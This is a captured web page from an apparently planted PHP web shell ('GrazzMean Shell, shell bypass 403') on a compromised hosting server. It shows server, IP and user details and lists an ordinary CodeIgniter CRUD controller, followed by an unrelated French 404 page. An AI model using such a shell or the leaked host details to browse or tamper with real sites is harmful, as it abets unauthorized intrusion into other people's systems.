shell bypass 403

GrazzMean Shell

Uname: Linux webm016.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 54.36.31.145
Your Ip: 216.73.216.182
User: homesquasz (91404) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : Affectation.php
<?php
/* 
 * Generated by CRUDigniter v3.2 
 * www.crudigniter.com
 */
 
class Affectation extends FrontApplication{
    function __construct()
    {
        parent::__construct();
        $this->load->model('Affectation_model');
    } 

    /*
     * Listing of affectation
     */
    function index()
    {
        $params['limit'] = RECORDS_PER_PAGE; 
        $params['offset'] = ($this->input->get('per_page')) ? $this->input->get('per_page') : 0;
        
        $config = $this->config->item('pagination');
        $config['base_url'] = site_url('affectation/index?');
        $config['total_rows'] = $this->Affectation_model->get_all_affectation_count();
        $this->pagination->initialize($config);

        $this->data['affectation'] = $this->Affectation_model->get_all_affectation($params);
        
        $this->data['_view'] = 'affectation/index';
        $this->load->view('layouts/main',$this->data);
    }

    /*
     * Adding a new affectation
     */
    function add()
    {   
        $this->load->library('form_validation');

		$this->form_validation->set_rules('users_id','Users Id','required');
		$this->form_validation->set_rules('fonction_id','Fonction Id','required');
		$this->form_validation->set_rules('service_id','Service Id','required');
		$this->form_validation->set_rules('actif','Actif','required');
		$this->form_validation->set_rules('Societe_id','Societe Id','required');
        $this->form_validation->set_rules('Planning_id','Planning Id','required');
		
		if($this->form_validation->run())     
        {   

            $params = array(
				'users_id' => $this->input->post('users_id'),
				'fonction_id' => $this->input->post('fonction_id'),
				'service_id' => $this->input->post('service_id'),
				'actif' => $this->input->post('actif'),
				'societe_id' => $this->input->post('Societe_id'),
                'planning_id' => $this->input->post('Planning_id'),
            );
            
            $affectation_id = $this->Affectation_model->add_affectation($params);
            redirect('affectation/index');
        }
        else
        {
			$this->load->model('User_model');
			$this->data['all_users'] = $this->User_model->getForList();

			$this->load->model('Fonction_model');
			$this->data['all_fonction'] = $this->Fonction_model->get_all_fonction();

			$this->load->model('Service_model');
			$this->data['all_service'] = $this->Service_model->get_all_service();

			$this->load->model('Societe_model');
			$this->data['all_societe'] = $this->Societe_model->get_all_societe();
           
            $this->load->model('Planning_model');
            $this->data['all_planning'] = $this->Planning_model->get_all_planning();

            $this->data['_view'] = 'affectation/add';
            $this->load->view('layouts/main',$this->data);
        }
    }  

    /*
     * Editing a affectation
     */
    function edit($id)
    {   
        // check if the affectation exists before trying to edit it
        $this->data['affectation'] = $this->Affectation_model->get_affectation($id);
        
        if(isset($this->data['affectation']['id']))
        {
            $this->load->library('form_validation');

			
		
        $this->form_validation->set_rules('fonction_id','Fonction Id','required');
        $this->form_validation->set_rules('service_id','Service Id','required');
        $this->form_validation->set_rules('actif','Actif','required');
        $this->form_validation->set_rules('Societe_id','Societe Id','required');
        $this->form_validation->set_rules('Planning_id','Planning Id','required');
		
			if($this->form_validation->run())     
            {  
     
                $params = array(
					'fonction_id' => $this->input->post('fonction_id'),
					'service_id' => $this->input->post('service_id'),
					'actif' => $this->input->post('actif'),
					'societe_id' => $this->input->post('Societe_id'),
                    'planning_id' => $this->input->post('planning_id'),
                );

                $this->Affectation_model->update_affectation($id,$params);            
                redirect('affectation/index');
            }
            else
            {
				$this->load->model('User_model');
				$this->data['all_users'] = $this->User_model->get_all_users();

				$this->load->model('Fonction_model');
				$this->data['all_fonction'] = $this->Fonction_model->get_all_fonction();

				$this->load->model('Service_model');
				$this->data['all_service'] = $this->Service_model->get_all_service();

				$this->load->model('Societe_model');
				$this->data['all_societe'] = $this->Societe_model->get_all_societe();

                $this->load->model('Planning_model');
                $this->data['all_planning'] = $this->Planning_model->get_all_planning();

                $this->data['_view'] = 'affectation/edit';
                $this->load->view('layouts/main',$this->data);
            }
        }
        else
            show_error('The affectation you are trying to edit does not exist.');
    } 

    /*
     * Deleting affectation
     */
    function remove($id)
    {
        $affectation = $this->Affectation_model->get_affectation($id);

        // check if the affectation exists before trying to delete it
        if(isset($affectation['id']))
        {
            $this->Affectation_model->delete_affectation($id);
            redirect('affectation/index');
        }
        else
            show_error('The affectation you are trying to delete does not exist.');
    }
    
}
© 2026 GrazzMean
Page non trouvée – APK Comptoir Hammami
Jannah Theme License is not validated, Go to the theme options page to validate the license, You need a single license for each domain name.

404 :(

Oups ! Cette page est introuvable.

Il semble que nous ne puissions pas trouver ce que vous cherchez. Peut-être qu'une recherche pourrait vous aider.

Bouton retour en haut de la page